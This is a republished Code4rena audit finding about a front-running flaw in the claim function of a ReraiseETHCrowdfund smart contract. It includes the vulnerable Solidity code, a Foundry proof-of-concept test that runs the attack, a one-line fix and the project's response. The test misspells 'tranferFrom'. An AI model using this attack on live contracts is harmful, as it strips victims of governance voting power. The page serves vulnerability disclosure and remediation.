ReraiseETHCrowdfund.sol : party card transfer can be front-run by claiming pending voting power which results in a loss of the voting power
The claim function in ReraiseETHCrowdfund allows any caller to add a contributor's pending voting power to an existing party card owned by that contributor. An attacker can front-run a victim's party card transfer by claiming the victim's pending voting power to the card being transferred, causing the victim to lose that voting power.
Originally disclosed on Code4rena
Submitted by HollaDieWaldfee
In this report I show how an attacker can abuse the fact that anyone can call ReraiseETHCrowdfund.claim for any user and add voting power to an existing party card.
The result can be a griefing attack whereby the victim loses voting power. In some cases the attacker can take advantage himself.
In short this is what needs to happen:
- The victim sends a transaction to transfer one of his party cards
- The transaction is front-run and pending voting power of the victim from the
ReraiseETHCrowdfundcontract is claimed to this party card that is transferred - The victim thereby loses the pending voting power
The fact that any user is at risk that has pending voting power and transfers a party card and that voting power is arguably the most important asset in the protocol makes me estimate this to be “High” severity.
Proof of Concept
We start by observing that when the ReraiseETHCrowdfund is won, any user can call ReraiseETHCrowdfund.claim for any other user and either mint a new party card to him or add the pending voting power to an existing party card:
/// @notice Claim a party card for a contributor if the crowdfund won. Can be called
/// to claim for self or on another's behalf.
/// @param tokenId The ID of the party card to add voting power to. If 0, a
/// new card will be minted.
/// @param contributor The contributor to claim for.
function claim(uint256 tokenId, address contributor) public {
// Check crowdfund lifecycle.
{
CrowdfundLifecycle lc = getCrowdfundLifecycle();
if (lc != CrowdfundLifecycle.Finalized) {
revert WrongLifecycleError(lc);
}
}
uint96 votingPower = pendingVotingPower[contributor];
if (votingPower == 0) return;
{
uint96 contribution = (votingPower * 1e4) / exchangeRateBps;
uint96 maxContribution_ = maxContribution;
// Check that the contribution equivalent of total pending voting
// power is not above the max contribution range. This can happen
// for contributors who contributed multiple times In this case, the
// `claimMultiple` function should be called instead. This is done
// so parties may use the minimum and maximum contribution values to
// limit the voting power of each card (e.g. a party desiring a "1
// card = 1 vote"-like governance system where each card has equal
// voting power).
if (contribution > maxContribution_) {
revert AboveMaximumContributionsError(contribution, maxContribution_);
}
}
// Burn the crowdfund NFT.
_burn(contributor);
delete pendingVotingPower[contributor];
if (tokenId == 0) {
// Mint contributor a new party card.
tokenId = party.mint(contributor, votingPower, delegationsByContributor[contributor]);
} else if (disableContributingForExistingCard) {
revert ContributingForExistingCardDisabledError();
} else if (party.ownerOf(tokenId) == contributor) {
// Increase voting power of contributor's existing party card.
party.addVotingPower(tokenId, votingPower);
} else {
revert NotOwnerError();
}
emit Claimed(contributor, tokenId, votingPower);
}
Note that the caller can specify any contributor and can add the pending votes to an existing party card if !disableContributingForExistingCard && party.ownerOf(tokenId) == contributor.
So if User A has pending voting power and transfers one of his party cards to User B, then User C might front-run this transfer and claim the pending voting power to the party card that is transferred.
If User B performs this attack it is not a griefing attack since User B benefits from it.
Note that at the time of sending the transfer transaction the ReraiseETHCrowdfund does not have to be won already. The transaction that does the front-running might contribute to the crowdfund such that it is won and then claim the pending voting power.
Add the following test to the ReraiseETHCrowdfund.t.sol test file. It shows how an attacker would perform such an attack:
function test_FrontRunTransfer() public {
ReraiseETHCrowdfund crowdfund = _createCrowdfund({
initialContribution: 0,
initialContributor: payable(address(0)),
initialDelegate: address(0),
minContributions: 0,
maxContributions: type(uint96).max,
disableContributingForExistingCard: false,
minTotalContributions: 2 ether,
maxTotalContributions: 3 ether,
duration: 7 days,
fundingSplitBps: 0,
fundingSplitRecipient: payable(address(0))
});
address attacker = _randomAddress();
address victim = _randomAddress();
vm.deal(victim, 2.5 ether);
vm.deal(attacker, 0.5 ether);
// @audit-info the victim owns a party card
vm.prank(address(party));
party.addAuthority(address(this));
party.increaseTotalVotingPower(1 ether);
uint256 victimTokenId = party.mint(victim, 1 ether, address(0));
vm.startPrank(victim);
crowdfund.contribute{ value: 2.5 ether }(victim, "");
vm.stopPrank();
/* @audit-info
The victim wants to transfer the party card, say to the attacker, and the attacker
front-runs this by completing the crowdfund and claiming the victim's pending voting
power to the existing party card
*/
vm.startPrank(attacker);
crowdfund.contribute{ value: 0.5 ether }(attacker, "");
crowdfund.claim(victimTokenId,victim);
vm.stopPrank();
/* @audit-info
when the victim's transfer is executed, he transfers also all of the voting power
that was previously his pending voting power (effectively losing it)
*/
vm.prank(victim);
party.tranferFrom(victim,attacker,victimTokenId);
}
So when there is an ongoing crowdfund it is never safe to transfer one’s party card. It can always result in a complete loss of the pending voting power.
Tools Used
VSCode
Recommended Mitigation Steps
In the ReraiseETHCrowdfund.claim function it should not be possible to add the pending voting power to an existing party card. It is possible though to allow it for the contributor himself but not for any user.
diff --git a/contracts/crowdfund/ReraiseETHCrowdfund.sol b/contracts/crowdfund/ReraiseETHCrowdfund.sol
index 580623d..cb560e1 100644
--- a/contracts/crowdfund/ReraiseETHCrowdfund.sol
+++ b/contracts/crowdfund/ReraiseETHCrowdfund.sol
@@ -292,7 +292,7 @@ contract ReraiseETHCrowdfund is ETHCrowdfundBase, CrowdfundNFT {
tokenId = party.mint(contributor, votingPower, delegationsByContributor[contributor]);
} else if (disableContributingForExistingCard) {
revert ContributingForExistingCardDisabledError();
- } else if (party.ownerOf(tokenId) == contributor) {
+ } else if (party.ownerOf(tokenId) == contributor && contributor == msg.sender) {
// Increase voting power of contributor's existing party card.
party.addVotingPower(tokenId, votingPower);
} else {
0xble (Party) confirmed and commented:
Good finding, still thinking about the mitigation.
Slightly hesitant to make the only action when claiming for someone else to be minting them a new card although minting to their existing card might be a rare action because of the friction involved in having to get the ID of one of the person’s cards first. Someone minting for someone else might just find it more convenient to mint them a new card, so having that be the only action might not be much of a loss.
We’ve decided to refactor the way claiming works in the
ReraiseETHCrowdfund, partially because a large number of findings like this being submitted around that one area that highlighted for us the need to rework its logic.The change will make it so (1) crowdfund NFTs are minted per contribution instead of per address and (2) claiming works more like a 1:1 conversion of your crowdfund NFT into a party card instead of how it works now. In the future we will also add the ability to split/merge party cards.
This should mitigate this finding because in this new system you cannot decide to add the voting power from a crowdfund NFT to an existing party card when claiming, only mint a new party card.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the claim function permits any caller to add a contributor's pending voting power to an existing party card owned by that contributor, without restricting this action to the contributor themselves.
Impact
A victim with pending voting power who transfers a party card can lose that voting power entirely; the attacker may benefit if they are the recipient, otherwise it is a griefing attack.
What the attacker needed
Victim has pending voting power; victim owns a party card; victim initiates a card transfer; attacker can front-run the transfer
The fix
The claim function should be changed so that pending voting power can only be added to an existing party card when the contributor is the caller, or claiming should be refactored to mint a new card per contribution; the project confirmed it would refactor claiming.
How it was found
- The victim owns a party card and has pending voting power in the crowdfund.
- The victim sends a transaction to transfer the party card.
- The attacker front-runs by contributing to complete the crowdfund and calling claim for the victim, adding the pending voting power to the card being transferred.
- The victim's transfer then executes, sending the card with the newly added voting power to the recipient, so the victim loses that voting power.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a crowdfund finishes, a person's contributions can be turned into voting power on a party card. The code lets anyone trigger this conversion for someone else and attach the voting power to a card that person already owns. If the victim is about to send that card to another person, an attacker can step in first and attach the voting power to the card, so the victim unknowingly gives away that voting power along with the card.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.